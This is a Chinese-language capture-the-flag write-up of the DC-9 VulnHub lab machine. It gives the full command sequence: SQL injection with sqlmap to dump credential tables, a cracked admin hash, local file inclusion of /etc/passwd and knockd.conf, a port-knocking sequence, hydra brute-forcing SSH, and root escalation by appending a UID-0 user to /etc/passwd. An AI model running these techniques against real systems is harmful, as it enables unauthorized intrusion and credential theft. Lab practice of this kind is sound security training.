靶机:DC-9 DC: 9 ~ VulnHub
攻击机:kail linux 2024
1,将两台虚拟机网络连接都改为NAT模式,并查看DC-9的MAC地址
2,进行主机扫描,通过MAC地址发现靶机的IP地址
攻击机IP地址192.168.23.169,靶机IP地址192.168.23.129
3,对靶机做更加精细的扫描
nmap -sV -p- 192.168.23.129
端口号 | 服务 | 版本 |
22 | ssh | 7.4p1 |
80 | http | Apche 2.4.38 |
4,访问靶机提供的web网页
5,对网站进行指纹识别
貌似没有明显的漏洞利用点
6,进行目录扫描,以便对网站网页的后台进行分析
出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录
7,向服务器传输请求爬虫协议的数据,回显为404,失败
curl http://192.168.23.129/robots.txt
8,使用web漏洞扫描工具nikto
nitko -h http://192.168.23.129
页面有链接:用户登录页面,没有发现
9,使用目录和文件枚举的开源工具gobuster(用于在web应用程序或网站上查找隐藏的目录和文件)
gobuster dir -u http://192.168.23.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt
访问welcome.php直接返回:logged in as admin?奇怪,但是即使是admin,也没啥功能,并且在点击manage按钮时页面显示:File does not exist
10,manage.php是否有本地文件包含漏洞,使用wufzz工具(
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)
wfuzz -c -u http://192.168.23.129/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 87
没有什么发现
11,经sqlmap简单测试,search.php页面有SQL注入漏洞
sqlmap -u "http://192.168.23.129/results.php" --data="search=1"
存在着SQL注入漏洞
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5
12,对网站数据库爆出库名
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 --dbs
得到三个数据库名,使用user数据库
13,对网站爆出表名
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D user --tables
得到一张表,UserDetails
14,对网站爆出字段
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails --columns
得到6个
15,尝试爆出用户账户,密码
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails -C username,password --dump
得到如下账户密码,账户保存到user-dict,密码保存在pass-dict
16,由第3步发现开启了ssh服务,尝试连接
ssh marym@192.168.23.129
user库里面账户密码不能登录ssh
17,尝试爆出另一个数据库的表名
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff --tables
爆出两个表名,使用Users
18,尝试爆出User表下的字段
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users --columns
得到三个字段
19,爆出账户密码
sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users -C Username,Password --dump
得到账户和密码( 经过MD5加密)
admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
20,用在线网站md5解密得到admin密码:transorbital1,尝试登录一下
发现提示:File does not exist 显示文件不存在,猜测可能是文件包含漏洞
21,wfuzz测试etc/passwd,需要网站的cookie。 用--hw 100过滤一下
(Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)
wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.23.129/manage.php?FUZZ=../../../../etc/passwd
22,确实是文件包含漏洞
http://192.168.23.129/manage.php?file=../../../../etc/passwd
23,接下来使用hydra爆破ssh
hydra -L user-dict -P pass-dict 192.168.23.129 ssh
没有爆破成功,发现22端口是filtered,应该是防火墙。
nmap -T4 -A -v 192.168.23.129
利用knockd打开ssh:
1,knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。
2,端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
knockd 服务的默认配置路径:/etc/knockd.conf
24,访问http://192.168.23.129/manage.php?file=../../../..//etc/knockd.conf
使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842
依次用nmap测试这三个端口:
nmap -p 7469 192.168.23.129
nmap -p 8475 192.168.23.129
nmap -p 9842 192.168.23.129
然后再nmap测试22端口, nmap -p 22 192.168.23.129
发现端口的状态变更了
25,再次测试 hydra -L user-dict -P pass-dict 192.168.23.129 ssh
爆破得到三对有效的账户密码
26,尝试登录三个账户,其中登录janitor|Ilovepeepee用户时,
发现其账户下有一个密码本,复制到pass-dict1
27,用新生成的密码本再尝试爆破
hydra -L user-dict -P pass-dict1 192.168.23.129 ssh
得到两个账户密码
28,ssh登录fredf|B4-Tru3-001看一下有什么 ssh fredf@192.168.23.129
29, sudo -l查看一下有没有文件可以使用非root用户执行:
30,由此发现fredf用户中的一个文件可以读取任意内容,追加到任意文件提权。
进入目录/opt/devstuff/dist/test/查看test文件,是由python编译的
提权的基本方法
history sudo -l ls -a find/ ...
sudo(sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令)
1,内核漏洞 2,SUID 3,定时任务
31,cat查看用户信息 cat/etc/passwd,
root用户的id为0
32,利用方法:
使用Openssl构造加密密码,构造新用户admin
openssl passwd -1 -salt admin 123456
将新用户的信息保存到临时文件/tmp/admin中
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
查看用户信息
cat /tmp/passwd
33,在ssh的fredf上操作,使用test程序将构造的用户和密码追加到/etc/passwd中
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
cat /etc/passwd
用户信息已经添加上去了
34,su命令登录到admin:123456,并且是root用户
35,得到flag
渗透思路:
扫描发现靶机——分析靶机端口提供的服务——dirsearch目录爆破——通过测试找到sql注入点——使用sqlmap依次爆数据库,表,字段,数据——得到ssh登录密码/得到网站的登录密码——验证网站存在的文件包含漏洞——hydra爆破失败——发现并利用端口knock——成功登录ssh——发现sshz账户中新密码本——登录另一个账户发现可以提权——使用Openssl构造加密密码,构造新用户admin——切换新建用户,获得root权限——获得flag, 渗透完成
新知识点:
①:了解了knockd 服务 默认路径:/etc/knockd.conf
②:学习了hydra 工具的使用 很方便 (工具很强!)
③:了解了Web 文件包含漏洞遍历信息的基础
④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中,允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)